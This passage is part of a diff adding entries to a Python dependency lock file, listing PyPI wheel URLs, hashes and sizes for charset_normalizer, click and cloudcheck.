+    { url = "https://files.pythonhosted.org/packages/05/12/9fbc6a4d39c0198adeebbde20b619790e9236557ca59fc40e0e3cebe6f40/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:21d142cc6c0ec30d2efee5068ca36c128a30b0f2c53c1c07bd78cb6bc1d3be5f", size = 150647, upload-time = "2025-10-14T04:41:01.754Z" },
+    { url = "https://files.pythonhosted.org/packages/ad/1f/6a9a593d52e3e8c5d2b167daf8c6b968808efb57ef4c210acb907c365bc4/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5dbe56a36425d26d6cfb40ce79c314a2e4dd6211d51d6d2191c00bed34f354cc", size = 145110, upload-time = "2025-10-14T04:41:03.231Z" },
+    { url = "https://files.pythonhosted.org/packages/30/42/9a52c609e72471b0fc54386dc63c3781a387bb4fe61c20231a4ebcd58bdd/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:5bfbb1b9acf3334612667b61bd3002196fe2a1eb4dd74d247e0f2a4d50ec9bbf", size = 162839, upload-time = "2025-10-14T04:41:04.715Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/5b/c0682bbf9f11597073052628ddd38344a3d673fda35a36773f7d19344b23/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:d055ec1e26e441f6187acf818b73564e6e6282709e9bcb5b63f5b23068356a15", size = 150667, upload-time = "2025-10-14T04:41:05.827Z" },
+    { url = "https://files.pythonhosted.org/packages/e4/24/a41afeab6f990cf2daf6cb8c67419b63b48cf518e4f56022230840c9bfb2/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:af2d8c67d8e573d6de5bc30cdb27e9b95e49115cd9baad5ddbd1a6207aaa82a9", size = 160535, upload-time = "2025-10-14T04:41:06.938Z" },
+    { url = "https://files.pythonhosted.org/packages/2a/e5/6a4ce77ed243c4a50a1fecca6aaaab419628c818a49434be428fe24c9957/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:780236ac706e66881f3b7f2f32dfe90507a09e67d1d454c762cf642e6e1586e0", size = 154816, upload-time = "2025-10-14T04:41:08.101Z" },
+    { url = "https://files.pythonhosted.org/packages/a8/ef/89297262b8092b312d29cdb2517cb1237e51db8ecef2e9af5edbe7b683b1/charset_normalizer-3.4.4-cp312-cp312-win32.whl", hash = "sha256:5833d2c39d8896e4e19b689ffc198f08ea58116bee26dea51e362ecc7cd3ed26", size = 99694, upload-time = "2025-10-14T04:41:09.23Z" },
+    { url = "https://files.pythonhosted.org/packages/3d/2d/1e5ed9dd3b3803994c155cd9aacb60c82c331bad84daf75bcb9c91b3295e/charset_normalizer-3.4.4-cp312-cp312-win_amd64.whl", hash = "sha256:a79cfe37875f822425b89a82333404539ae63dbdddf97f84dcbc3d339aae9525", size = 107131, upload-time = "2025-10-14T04:41:10.467Z" },
+    { url = "https://files.pythonhosted.org/packages/d0/d9/0ed4c7098a861482a7b6a95603edce4c0d9db2311af23da1fb2b75ec26fc/charset_normalizer-3.4.4-cp312-cp312-win_arm64.whl", hash = "sha256:376bec83a63b8021bb5c8ea75e21c4ccb86e7e45ca4eb81146091b56599b80c3", size = 100390, upload-time = "2025-10-14T04:41:11.915Z" },
+    { url = "https://files.pythonhosted.org/packages/97/45/4b3a1239bbacd321068ea6e7ac28875b03ab8bc0aa0966452db17cd36714/charset_normalizer-3.4.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e1f185f86a6f3403aa2420e815904c67b2f9ebc443f045edd0de921108345794", size = 208091, upload-time = "2025-10-14T04:41:13.346Z" },
+    { url = "https://files.pythonhosted.org/packages/7d/62/73a6d7450829655a35bb88a88fca7d736f9882a27eacdca2c6d505b57e2e/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b39f987ae8ccdf0d2642338faf2abb1862340facc796048b604ef14919e55ed", size = 147936, upload-time = "2025-10-14T04:41:14.461Z" },
+    { url = "https://files.pythonhosted.org/packages/89/c5/adb8c8b3d6625bef6d88b251bbb0d95f8205831b987631ab0c8bb5d937c2/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3162d5d8ce1bb98dd51af660f2121c55d0fa541b46dff7bb9b9f86ea1d87de72", size = 144180, upload-time = "2025-10-14T04:41:15.588Z" },
+    { url = "https://files.pythonhosted.org/packages/91/ed/9706e4070682d1cc219050b6048bfd293ccf67b3d4f5a4f39207453d4b99/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:81d5eb2a312700f4ecaa977a8235b634ce853200e828fbadf3a9c50bab278328", size = 161346, upload-time = "2025-10-14T04:41:16.738Z" },
+    { url = "https://files.pythonhosted.org/packages/d5/0d/031f0d95e4972901a2f6f09ef055751805ff541511dc1252ba3ca1f80cf5/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5bd2293095d766545ec1a8f612559f6b40abc0eb18bb2f5d1171872d34036ede", size = 158874, upload-time = "2025-10-14T04:41:17.923Z" },
+    { url = "https://files.pythonhosted.org/packages/f5/83/6ab5883f57c9c801ce5e5677242328aa45592be8a00644310a008d04f922/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8a8b89589086a25749f471e6a900d3f662d1d3b6e2e59dcecf787b1cc3a1894", size = 153076, upload-time = "2025-10-14T04:41:19.106Z" },
+    { url = "https://files.pythonhosted.org/packages/75/1e/5ff781ddf5260e387d6419959ee89ef13878229732732ee73cdae01800f2/charset_normalizer-3.4.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc7637e2f80d8530ee4a78e878bce464f70087ce73cf7c1caf142416923b98f1", size = 150601, upload-time = "2025-10-14T04:41:20.245Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/57/71be810965493d3510a6ca79b90c19e48696fb1ff964da319334b12677f0/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f8bf04158c6b607d747e93949aa60618b61312fe647a6369f88ce2ff16043490", size = 150376, upload-time = "2025-10-14T04:41:21.398Z" },
+    { url = "https://files.pythonhosted.org/packages/e5/d5/c3d057a78c181d007014feb7e9f2e65905a6c4ef182c0ddf0de2924edd65/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:554af85e960429cf30784dd47447d5125aaa3b99a6f0683589dbd27e2f45da44", size = 144825, upload-time = "2025-10-14T04:41:22.583Z" },
+    { url = "https://files.pythonhosted.org/packages/e6/8c/d0406294828d4976f275ffbe66f00266c4b3136b7506941d87c00cab5272/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:74018750915ee7ad843a774364e13a3db91682f26142baddf775342c3f5b1133", size = 162583, upload-time = "2025-10-14T04:41:23.754Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/24/e2aa1f18c8f15c4c0e932d9287b8609dd30ad56dbe41d926bd846e22fb8d/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c0463276121fdee9c49b98908b3a89c39be45d86d1dbaa22957e38f6321d4ce3", size = 150366, upload-time = "2025-10-14T04:41:25.27Z" },
+    { url = "https://files.pythonhosted.org/packages/e4/5b/1e6160c7739aad1e2df054300cc618b06bf784a7a164b0f238360721ab86/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:362d61fd13843997c1c446760ef36f240cf81d3ebf74ac62652aebaf7838561e", size = 160300, upload-time = "2025-10-14T04:41:26.725Z" },
+    { url = "https://files.pythonhosted.org/packages/7a/10/f882167cd207fbdd743e55534d5d9620e095089d176d55cb22d5322f2afd/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9a26f18905b8dd5d685d6d07b0cdf98a79f3c7a918906af7cc143ea2e164c8bc", size = 154465, upload-time = "2025-10-14T04:41:28.322Z" },
+    { url = "https://files.pythonhosted.org/packages/89/66/c7a9e1b7429be72123441bfdbaf2bc13faab3f90b933f664db506dea5915/charset_normalizer-3.4.4-cp313-cp313-win32.whl", hash = "sha256:9b35f4c90079ff2e2edc5b26c0c77925e5d2d255c42c74fdb70fb49b172726ac", size = 99404, upload-time = "2025-10-14T04:41:29.95Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/26/b9924fa27db384bdcd97ab83b4f0a8058d96ad9626ead570674d5e737d90/charset_normalizer-3.4.4-cp313-cp313-win_amd64.whl", hash = "sha256:b435cba5f4f750aa6c0a0d92c541fb79f69a387c91e61f1795227e4ed9cece14", size = 107092, upload-time = "2025-10-14T04:41:31.188Z" },
+    { url = "https://files.pythonhosted.org/packages/af/8f/3ed4bfa0c0c72a7ca17f0380cd9e4dd842b09f664e780c13cff1dcf2ef1b/charset_normalizer-3.4.4-cp313-cp313-win_arm64.whl", hash = "sha256:542d2cee80be6f80247095cc36c418f7bddd14f4a6de45af91dfad36d817bba2", size = 100408, upload-time = "2025-10-14T04:41:32.624Z" },
+    { url = "https://files.pythonhosted.org/packages/2a/35/7051599bd493e62411d6ede36fd5af83a38f37c4767b92884df7301db25d/charset_normalizer-3.4.4-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:da3326d9e65ef63a817ecbcc0df6e94463713b754fe293eaa03da99befb9a5bd", size = 207746, upload-time = "2025-10-14T04:41:33.773Z" },
+    { url = "https://files.pythonhosted.org/packages/10/9a/97c8d48ef10d6cd4fcead2415523221624bf58bcf68a802721a6bc807c8f/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8af65f14dc14a79b924524b1e7fffe304517b2bff5a58bf64f30b98bbc5079eb", size = 147889, upload-time = "2025-10-14T04:41:34.897Z" },
+    { url = "https://files.pythonhosted.org/packages/10/bf/979224a919a1b606c82bd2c5fa49b5c6d5727aa47b4312bb27b1734f53cd/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74664978bb272435107de04e36db5a9735e78232b85b77d45cfb38f758efd33e", size = 143641, upload-time = "2025-10-14T04:41:36.116Z" },
+    { url = "https://files.pythonhosted.org/packages/ba/33/0ad65587441fc730dc7bd90e9716b30b4702dc7b617e6ba4997dc8651495/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:752944c7ffbfdd10c074dc58ec2d5a8a4cd9493b314d367c14d24c17684ddd14", size = 160779, upload-time = "2025-10-14T04:41:37.229Z" },
+    { url = "https://files.pythonhosted.org/packages/67/ed/331d6b249259ee71ddea93f6f2f0a56cfebd46938bde6fcc6f7b9a3d0e09/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d1f13550535ad8cff21b8d757a3257963e951d96e20ec82ab44bc64aeb62a191", size = 159035, upload-time = "2025-10-14T04:41:38.368Z" },
+    { url = "https://files.pythonhosted.org/packages/67/ff/f6b948ca32e4f2a4576aa129d8bed61f2e0543bf9f5f2b7fc3758ed005c9/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ecaae4149d99b1c9e7b88bb03e3221956f68fd6d50be2ef061b2381b61d20838", size = 152542, upload-time = "2025-10-14T04:41:39.862Z" },
+    { url = "https://files.pythonhosted.org/packages/16/85/276033dcbcc369eb176594de22728541a925b2632f9716428c851b149e83/charset_normalizer-3.4.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cb6254dc36b47a990e59e1068afacdcd02958bdcce30bb50cc1700a8b9d624a6", size = 149524, upload-time = "2025-10-14T04:41:41.319Z" },
+    { url = "https://files.pythonhosted.org/packages/9e/f2/6a2a1f722b6aba37050e626530a46a68f74e63683947a8acff92569f979a/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c8ae8a0f02f57a6e61203a31428fa1d677cbe50c93622b4149d5c0f319c1d19e", size = 150395, upload-time = "2025-10-14T04:41:42.539Z" },
+    { url = "https://files.pythonhosted.org/packages/60/bb/2186cb2f2bbaea6338cad15ce23a67f9b0672929744381e28b0592676824/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:47cc91b2f4dd2833fddaedd2893006b0106129d4b94fdb6af1f4ce5a9965577c", size = 143680, upload-time = "2025-10-14T04:41:43.661Z" },
+    { url = "https://files.pythonhosted.org/packages/7d/a5/bf6f13b772fbb2a90360eb620d52ed8f796f3c5caee8398c3b2eb7b1c60d/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:82004af6c302b5d3ab2cfc4cc5f29db16123b1a8417f2e25f9066f91d4411090", size = 162045, upload-time = "2025-10-14T04:41:44.821Z" },
+    { url = "https://files.pythonhosted.org/packages/df/c5/d1be898bf0dc3ef9030c3825e5d3b83f2c528d207d246cbabe245966808d/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b7d8f6c26245217bd2ad053761201e9f9680f8ce52f0fcd8d0755aeae5b2152", size = 149687, upload-time = "2025-10-14T04:41:46.442Z" },
+    { url = "https://files.pythonhosted.org/packages/a5/42/90c1f7b9341eef50c8a1cb3f098ac43b0508413f33affd762855f67a410e/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:799a7a5e4fb2d5898c60b640fd4981d6a25f1c11790935a44ce38c54e985f828", size = 160014, upload-time = "2025-10-14T04:41:47.631Z" },
+    { url = "https://files.pythonhosted.org/packages/76/be/4d3ee471e8145d12795ab655ece37baed0929462a86e72372fd25859047c/charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:99ae2cffebb06e6c22bdc25801d7b30f503cc87dbd283479e7b606f70aff57ec", size = 154044, upload-time = "2025-10-14T04:41:48.81Z" },
+    { url = "https://files.pythonhosted.org/packages/b0/6f/8f7af07237c34a1defe7defc565a9bc1807762f672c0fde711a4b22bf9c0/charset_normalizer-3.4.4-cp314-cp314-win32.whl", hash = "sha256:f9d332f8c2a2fcbffe1378594431458ddbef721c1769d78e2cbc06280d8155f9", size = 99940, upload-time = "2025-10-14T04:41:49.946Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/51/8ade005e5ca5b0d80fb4aff72a3775b325bdc3d27408c8113811a7cbe640/charset_normalizer-3.4.4-cp314-cp314-win_amd64.whl", hash = "sha256:8a6562c3700cce886c5be75ade4a5db4214fda19fede41d9792d100288d8f94c", size = 107104, upload-time = "2025-10-14T04:41:51.051Z" },
+    { url = "https://files.pythonhosted.org/packages/da/5f/6b8f83a55bb8278772c5ae54a577f3099025f9ade59d0136ac24a0df4bde/charset_normalizer-3.4.4-cp314-cp314-win_arm64.whl", hash = "sha256:de00632ca48df9daf77a2c65a484531649261ec9f25489917f09e455cb09ddb2", size = 100743, upload-time = "2025-10-14T04:41:52.122Z" },
+    { url = "https://files.pythonhosted.org/packages/0a/4c/925909008ed5a988ccbb72dcc897407e5d6d3bd72410d69e051fc0c14647/charset_normalizer-3.4.4-py3-none-any.whl", hash = "sha256:7a32c560861a02ff789ad905a2fe94e3f840803362c84fecf1851cb4cf3dc37f", size = 53402, upload-time = "2025-10-14T04:42:31.76Z" },
+]
+
+[[package]]
+name = "click"
+version = "8.3.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "colorama", marker = "sys_platform == 'win32'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/3d/fa/656b739db8587d7b5dfa22e22ed02566950fbfbcdc20311993483657a5c0/click-8.3.1.tar.gz", hash = "sha256:12ff4785d337a1bb490bb7e9c2b1ee5da3112e94a8622f26a6c77f5d2fc6842a", size = 295065, upload-time = "2025-11-15T20:45:42.706Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/98/78/01c019cdb5d6498122777c1a43056ebb3ebfeef2076d9d026bfe15583b2b/click-8.3.1-py3-none-any.whl", hash = "sha256:981153a64e25f12d547d3426c367a4857371575ee7ad18df2a6183ab0545b2a6", size = 108274, upload-time = "2025-11-15T20:45:41.139Z" },
+]
+
+[[package]]
+name = "cloudcheck"
+version = "11.1.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/b5/a7/ef40cc541c87615091321ac67042ce481e32215d93c37fd184fd999d2a0e/cloudcheck-11.1.0.tar.gz", hash = "sha256:6f6d7415fd62dd1dffeb171f603e4f25f451a856924f0b0e7d14851a2b888574", size = 4912429, upload-time = "2026-06-24T01:38:19.915Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/f0/d1/1f68ac63c190a1f3abf1d0956ae397e7a55609c7e091e87ec4df1b782f64/cloudcheck-11.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4f0381f12baa470b39b5754ff2103700ac08022b0d973b0a1ee88c581cd0b9e8", size = 4233583, upload-time = "2026-06-24T01:51:11.284Z" },
+    { url = "https://files.pythonhosted.org/packages/9c/49/13874ca76de9ed7ff8073940875b56b73da51db5265d36853f4f92fa8ac8/cloudcheck-11.1.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e92a24c67864befc009d9ab6c87f3a78f827dc17eb72b45d8191f79d5378e624", size = 3585529, upload-time = "2026-06-24T01:51:24.341Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/d3/a21374abbc78539141830b63bffa68c7e08009722022b333868376a3d835/cloudcheck-11.1.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8d0b542a401dc6defdc748f42abbf2a5aaf89de7c645c346e01f296dd7309458", size = 4169240, upload-time = "2026-06-24T01:51:49.462Z" },
+    { url = "https://files.pythonhosted.org/packages/54/3f/3f14b8ba7cfa702d4561ec7288b5f314c93c182a67dd43f5ed5daad8f1be/cloudcheck-11.1.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4f70749d0a0b8f72ef4c1141a0cb733f583e14be29731c7fcdf85d274d21c178", size = 4082231, upload-time = "2026-06-24T01:51:37.04Z" },
+    { url = "https://files.pythonhosted.org/packages/68/2c/a52e04c8b7b7b6da8c20665b1b3a0e529e83d1c857eff07bb5b611dcee5e/cloudcheck-11.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6cb52f4d6a7a19c78ad3c26c7f197fd08ff53d4c72382366d85b1ad3d8f380f6", size = 4029422, upload-time = "2026-06-24T01:52:02.106Z" },
+    { url = "https://files.pythonhosted.org/packages/5d/36/1b089ed7e6810a6321139e60d1c8a8805128b136fff8cc9c09f80040fcea/cloudcheck-11.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f937b943508e085ea1310cde445c78e88a83a3298155df9ad6f903b4ae7163dc", size = 4637574, upload-time = "2026-06-24T01:52:28.815Z" },
+    { url = "https://files.pythonhosted.org/packages/be/79/936692cfb53adc0d6f077940c0e6eeaba3266d6117894940a0ed7437ed60/cloudcheck-11.1.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:27c1c9bcadc00b38ef25ebd13cfbdd659c097eb63e737ed77f49375f51639db0", size = 3918053, upload-time = "2026-06-24T01:52:42.204Z" },
+    { url = "https://files.pythonhosted.org/packages/0b/08/c515843e474916520c2f3000ad96d84bd57905718ad811ba817ed7e91ca0/cloudcheck-11.1.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:811ed6e39cbb9f4497de0cf924c50f3eb1244c6ecd5062a0e1a423d335f02990", size = 4262168, upload-time = "2026-06-24T01:52:55.955Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/f5/f71d03477412a8ed9689a5c1231fd8af6ea41498fdacce601ab8c5730f55/cloudcheck-11.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9c5e1eaa5758d8a6a10a8846478fe9813424e105c0fc742a47218dcddcb0d10f", size = 4291736, upload-time = "2026-06-24T01:53:09.554Z" },
+    { url = "https://files.pythonhosted.org/packages/d8/36/26ece5eb37a656f79ae622c4d971d6861bd946b3e00939f93d7df62d1dec/cloudcheck-11.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:e969a8e7def6d1a15ec9e16e691886a6dad47b2179cf5a802dbe97aeb1e309a4", size = 1414797, upload-time = "2026-06-24T01:53:23.783Z" },
+    { url = "https://files.pythonhosted.org/packages/80/af/0ae5ef92b6cadfabc5a720e188538c87ca2f100ba9d0fd32acfa673ce8b6/cloudcheck-11.1.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:0d46d045256dee4d6cdcd8ab318a23685198e48efb0ac90374d01117b4fe76fb", size = 1632427, upload-time = "2026-06-24T01:52:22.037Z" },
+    { url = "https://files.pythonhosted.org/packages/39/4a/d2ac4022927c021782146e6074ffb6956eb913c73522b4df2cc48f022f5f/cloudcheck-11.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:0ed638c38fb92f5fd3418ddc7c4efa57acbe7be094913e892c5407f079e487c0", size = 1607813, upload-time = "2026-06-24T01:52:14.82Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/33/e78b449dd12e5b9deaf24c81cd456439c61a78f7241dc53980ae97738c7f/cloudcheck-11.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6e51567ec7e0fb2ec00767ce4d5960bfea7508e2a7930a1319ade023e780ac1b", size = 4235073, upload-time = "2026-06-24T01:51:13Z" },
+    { url = "https://files.pythonhosted.org/packages/ea/57/78e1dd0df64fb3ee1a4d8eb4f5223d0e18051b4aed50bbcb413b0deea1a2/cloudcheck-11.1.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:7c1c11ef543658dd120adec82600df90c3fc41b73a57df3daf2c9af5890dfcfe", size = 3585141, upload-time = "2026-06-24T01:51:25.961Z" },
+    { url = "https://files.pythonhosted.org/packages/42/ae/fab43ed6e9b21b0591890d688b45b31a359953c1e2e7e6002abda006de36/cloudcheck-11.1.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4236fd5649312d8dcec9a58b95d6332698da66f107d916b506957febf6c10e80", size = 4168921, upload-time = "2026-06-24T01:51:51.209Z" },
+    { url = "https://files.pythonhosted.org/packages/21/2a/b2237231ec916fb8a496da0bccd826b962e0a650f8fcf1419b7823bf2a52/cloudcheck-11.1.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ef47a2e43f78dc0d63a48a65cffaac7da90ad7f2f8b85a00ca03152818f719e3", size = 4082934, upload-time = "2026-06-24T01:51:38.854Z" },
+    { url = "https://files.pythonhosted.org/packages/8e/bd/005838063806eb0b483e8773c5f498f6ff5c902998260f0d7b8a2408d906/cloudcheck-11.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd9ca7ea0dfe8abf1c6ca243d685a9efcca446f202275ac0a7a341ae7827ef28", size = 4027396, upload-time = "2026-06-24T01:52:04.038Z" },
+    { url = "https://files.pythonhosted.org/packages/93/44/e645877ec6d7bdbd29215771857fc16bddd07234554c0def9fb735b0c0a4/cloudcheck-11.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:590ff109285306b5d772c3d21bebe47fa2f151f843b5411abda309124e93d117", size = 4641536, upload-time = "2026-06-24T01:52:30.674Z" },
+    { url = "https://files.pythonhosted.org/packages/70/55/ba038eca014cb7ffa1ce26b48ceb75a625028ff9bcdb890829871421fc3e/cloudcheck-11.1.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:544cc820c26c76fb824f892876e413f477652464ff5a2f77888013da31ceeeb8", size = 3916047, upload-time = "2026-06-24T01:52:44.578Z" },
+    { url = "https://files.pythonhosted.org/packages/ea/56/d8fca04a8f2cd6dbecd45f0a4c1943a6d82bd78a84c6c1173d6cc576095d/cloudcheck-11.1.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:55e922a2221d86bb15ec6ab4d7dfaef2256202b17f40b5909f08e43fbfa44de8", size = 4261416, upload-time = "2026-06-24T01:52:57.889Z" },
+    { url = "https://files.pythonhosted.org/packages/bd/8c/741f054f53192970c3a12dff0c8338966fde2668aad55e852f3e85f901a8/cloudcheck-11.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1b4484f57c91ac87f1ade3d9c59cfda8e30c91d687da909a97ba7bece42a4126", size = 4290042, upload-time = "2026-06-24T01:53:11.461Z" },
+    { url = "https://files.pythonhosted.org/packages/cf/dc/7b9daf45013786fa188e1b26bd7317193f266e3586a839b1dadccf3acde8/cloudcheck-11.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:a2e8ae876141ba3019e9d10464bb8782dad2ac981940ee946493b4aaa4528fd1", size = 1416873, upload-time = "2026-06-24T01:53:25.41Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/10/0440a42b558c872612de41fc0820579bdc7e2628b523414d23fe7241dfa0/cloudcheck-11.1.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:1fbe51b7e1b4177004c75f2e3af5cbd72fdb68f79105d31263801e36d76565b6", size = 1628297, upload-time = "2026-06-24T01:52:23.737Z" },
+    { url = "https://files.pythonhosted.org/packages/aa/b0/1c68aed4783fe4bf70cc82f90f4630d17b045438a0994b0a7e3a044ee827/cloudcheck-11.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8f1a58782f395a972177e3b594a500c956da976e76cee9c4d81f3602f1d3e438", size = 1603790, upload-time = "2026-06-24T01:52:16.658Z" },
+    { url = "https://files.pythonhosted.org/packages/55/e4/2df14c1cf9326e301167b9497314849d138e5c0fa2d370abc40b6169016e/cloudcheck-11.1.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b28ba5aaefebed398c1711d4112d1f0808ac35d24a82b581a3b84b554f4b0605", size = 4231440, upload-time = "2026-06-24T01:51:14.832Z" },
+    { url = "https://files.pythonhosted.org/packages/ef/30/3b54e4ffc807846cd982016f43ddf16c0c7981b2abdb6a63130a2fc410be/cloudcheck-11.1.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4f1c10fa62aff32cb4185d804977fc08833a00f54a48da4f4c2d7cfbab59cd38", size = 3582533, upload-time = "2026-06-24T01:51:27.798Z" },
+    { url = "https://files.pythonhosted.org/packages/39/72/4870ed35779ffc64af2ee8e6b6e5dcaf85fc1b1ef25cc80293a07f43d44b/cloudcheck-11.1.0-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ac8663542f0a56d69ff7ef95b6ea58a3d352ec13fcad86c221f5e66644e0240b", size = 4166645, upload-time = "2026-06-24T01:51:53.012Z" },
+    { url = "https://files.pythonhosted.org/packages/3b/ba/45b6a553de29735a7e08e22f45d3f82ffd4f8c03f277d2830ef78c7d2529/cloudcheck-11.1.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:61636088dad3b4412b4117c49978e2a53cc124a7043c9a3c18270fa8c978c600", size = 4076618, upload-time = "2026-06-24T01:51:40.657Z" },
+    { url = "https://files.pythonhosted.org/packages/15/43/b0343a74f27d398610baaa39382bdba6a58f106c8d818085d6204386725a/cloudcheck-11.1.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:41301dc25603fae15d2a0a6ca6b02b8454b825fb1bae5ead4b0218ed57e31c41", size = 4022187, upload-time = "2026-06-24T01:52:05.788Z" },
+    { url = "https://files.pythonhosted.org/packages/80/e9/b4fd29b3e40dc37aa1d77e4b6bf487db17aa7859b9a9009070f54dac3f65/cloudcheck-11.1.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:cfd7ba30e7a3c13d64b8c81b37fa621a8def13591ce612b3fbe29d8390053be0", size = 4636261, upload-time = "2026-06-24T01:52:32.719Z" },
+    { url = "https://files.pythonhosted.org/packages/38/8a/571f57283009fe6ac174340a224ee7be41bae54df480c0cf08fecf5496e5/cloudcheck-11.1.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:1bb64247e7414f97d8efcd86d7be63b2bbd04694abbe69c33ea73e97f39eb6c3", size = 3911569, upload-time = "2026-06-24T01:52:46.555Z" },
+    { url = "https://files.pythonhosted.org/packages/40/a5/3963d4a90720a05916f14a154dfb1fe6fde274a48f60f5d3e2ea50d7c2c2/cloudcheck-11.1.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:a9a904c36b63089b0d6bbd27c44f3433ab6b50128e649431744669756e7bdfb1", size = 4257464, upload-time = "2026-06-24T01:52:59.66Z" },
